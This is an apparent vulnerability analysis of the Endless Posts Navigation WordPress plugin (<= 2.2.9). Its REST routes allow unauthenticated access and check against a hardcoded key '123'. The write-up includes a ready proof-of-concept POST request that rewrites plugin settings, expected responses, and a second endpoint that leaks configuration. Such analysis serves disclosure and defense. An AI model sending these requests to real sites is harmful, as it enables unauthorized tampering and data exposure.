Endless Posts Navigation <= 2.2.9 - Missing Authorization

This analysis identifies a critical authorization bypass in the Endless Posts Navigation plugin (<= 2.2.9) via its REST API implementation.

1. Vulnerability Summary

The vulnerability exists in the QR_Code_Settings class located in io/functions-inner.php. The plugin registers custom REST API routes for reading and updating plugin settings to support a companion mobile app. These routes explicitly set 'permission_callback' => '__return_true', allowing unauthenticated access. While the plugin attempts to implement its own authentication using a login_key parameter, it checks this key against a hardcoded value: "123" (the base64-decoded value of MTIz).

2. Attack Vector Analysis

• Endpoint: /wp-json/epn-settings/v1/update_epn_settings
• Method: POST
• Authentication: None required (unauthenticated).
• Vulnerable Parameter: jsonSettings (JSON-encoded string of settings) and login_key (authentication bypass).
• Preconditions: The plugin must be active.

3. Code Flow

1. Route Registration: During rest_api_init, the QR_Code_Settings::execute_settings_api() method calls register_api_update_settings().
2. Missing Capability Check: register_api_update_settings() (in io/functions-inner.php) defines the route /update_epn_settings with 'permission_callback' => '__return_true', bypassing WordPress's built-in capability system.
3. Hardcoded Authentication: The callback api_update_settings($param) is invoked. It retrieves $param['login_key'].
4. Bypass: It compares the provided key to base64_decode('MTIz') (which is "123").
5. Sink: If the key matches, it takes the jsonSettings parameter, decodes it from JSON, and calls update_option('epn_settings', ...) via update_option().

4. Nonce Acquisition Strategy

This vulnerability does not require a WordPress nonce.
The REST API routes are registered with 'permission_callback' => '__return_true'. While WordPress typically requires a _wpnonce for REST API requests using cookie authentication, unauthenticated requests (those without cookies) proceed directly to the permission_callback. Since the callback always returns true, the internal "authentication" check (the hardcoded login_key) is the only barrier.

5. Exploitation Strategy

The goal is to modify the plugin's settings to prove unauthorized control. We will change the prev_text setting, which is used for navigation links.

• Target URL: http://<target>/wp-json/epn-settings/v1/update_epn_settings
• Method: POST
• Payload Construction:
  • login_key: 123
  • jsonSettings: {"prev_text":"POC_EXPLOITED_SUCCESSFULLY"} (Note: This must be a JSON-encoded string sent as a standard POST parameter).
• Request Configuration:
  • Content-Type: application/x-www-form-urlencoded
  • Body: login_key=123&jsonSettings=%7B%22prev_text%22%3A%22POC_EXPLOITED_SUCCESSFULLY%22%7D

6. Test Data Setup

1. Ensure the plugin Endless Posts Navigation version 2.2.9 or lower is installed and activated.
2. No specific posts or pages are required, as this exploit targets global plugin options (epn_settings).

7. Expected Results

• The server should return a 200 OK response.
• The response body should be a JSON object containing "writeSettingsStatus": "done".
  • Verification Logic from io/functions-inner.php:

    if($epn_settings_update == true){
        $update_epn_settings['writeSettingsStatus'] = 'done';
    }
    

• The WordPress option epn_settings will be updated in the database.

8. Verification Steps

After performing the HTTP request, use WP-CLI to verify the change:

wp option get epn_settings --format=json

Expected Output: The JSON object should contain "prev_text":"POC_EXPLOITED_SUCCESSFULLY".

9. Alternative Approaches

If the update_epn_settings endpoint is somehow blocked, you can verify the authorization bypass via the Read Settings endpoint:

• Endpoint: /wp-json/epn-settings/v1/read_epn_settings
• Method: POST
• Body: login_key=123
• Result: This will leak the current plugin configuration, confirming the login_key bypass and the missing authorization.

Information Leakage Check:

The endpoint /wp-json/epn-settings/v1/authentication also has permission_callback => __return_true. Sending a qr_hash that matches the option epn_qrcode_hash (if known or set to default) would leak a temporary login_key and the site's bloginfo. However, the hardcoded 123 bypass is more direct.